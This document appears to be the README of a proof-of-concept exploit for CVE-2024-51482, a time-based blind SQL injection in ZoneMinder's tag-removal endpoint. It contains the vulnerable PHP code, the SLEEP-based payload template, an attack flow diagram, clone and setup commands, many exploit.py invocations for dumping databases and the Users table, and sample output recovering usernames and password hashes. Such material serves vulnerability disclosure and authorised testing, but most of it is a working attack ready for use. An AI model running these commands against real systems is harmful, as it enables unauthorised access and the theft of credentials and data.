SLEEP(x - IF(condition, 0, x))

case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

Attacker                              ZoneMinder Web App
   │                                         │
   │  [Auth]                                 │
   │  POST /zm/index.php                     │
   │  {username, password}                   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← authenticated session
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<payload>        │
   │────────────────────────────────────────►│
   │                               SQL boolean query executed
   │                               IF(condition, no delay, SLEEP)
   │◄────────────────────────────────────────│
   │  Delayed response (timing oracle)       │  ← condition inferred
   │                                         │
   │  Repeat requests                        │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Timing differences reveal characters   │
   │                                         │
   │  Binary search per character            │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Extracted data (1 char at a time)      │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Full database disclosure               │
   │                                         │
   ✓  Complete data exfiltration via blind SQLi

CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Umgebungsvariablen konfigurieren
docker compose up -d

python exploit.py -t http://target/zm -u <username> -p <password>

python exploit.py -h

python exploit.py -t http://target/zm -u <username> -p <password> check

python exploit.py -t http://target/zm -u <username> -p <password> dump-users

python exploit.py -t http://target/zm -u <username> -p <password> list-db

python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2

--no-display

--outfile results.csv

python3 exploit.py \
  -t http://localhost:8080 \
  -u admin -p admin \
  dump-table \
  --db zm \
  --table Users \
  --columns Username,Password \
  --threads 6 \
  --delay 2 \
  --outfile dump.csv

cp .env.example .env  # Umgebungsvariablen konfigurieren
docker compose up -d

$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                   
_________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
\_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
/    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
\     \____ \     /   |        \/_____//       \\  \_/   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
 \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
        \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                   

[∗] Target URL: http://localhost:8080/
[∗] Module : dump-table
[∗] Output will be saved to: ./out.csv

[∗] Attempting to log in with username/password authentication
 🡲  Credentials: admin:admin
[+] Successfully authenticated as user admin

[∗] Testing target vulnerability...
[+] Target appears to be vulnerable (response time indicates successful injection).

[∗] Dumping contents of table zm.Users...
[+] Found columns: Username, Password
[∗] Retrieving number of rows in the table...
[+] Table contains 2 rows. Starting dump...

[∗] Progress: 5/5 | admin
[∗] Progress: 60/60 | $2h$12$NHZs...
[+] Retrieved row 1 : admin, $2h$12$NHZs...

[∗] Progress: 4/4 | flag
[∗] Progress: 60/60 | $2y$10$1Ei....
[+] Retrieved row 2 : flag, $2y$10$1Ei....

+----------+----------------+
| Username | Password       |
+----------+----------------+
| admin    | $2h$12$NHZs... |
| flag     | $2y$10$1Ei.... |
+----------+----------------+

[+] Results written to ./out.csv
[+] Work done. Bye!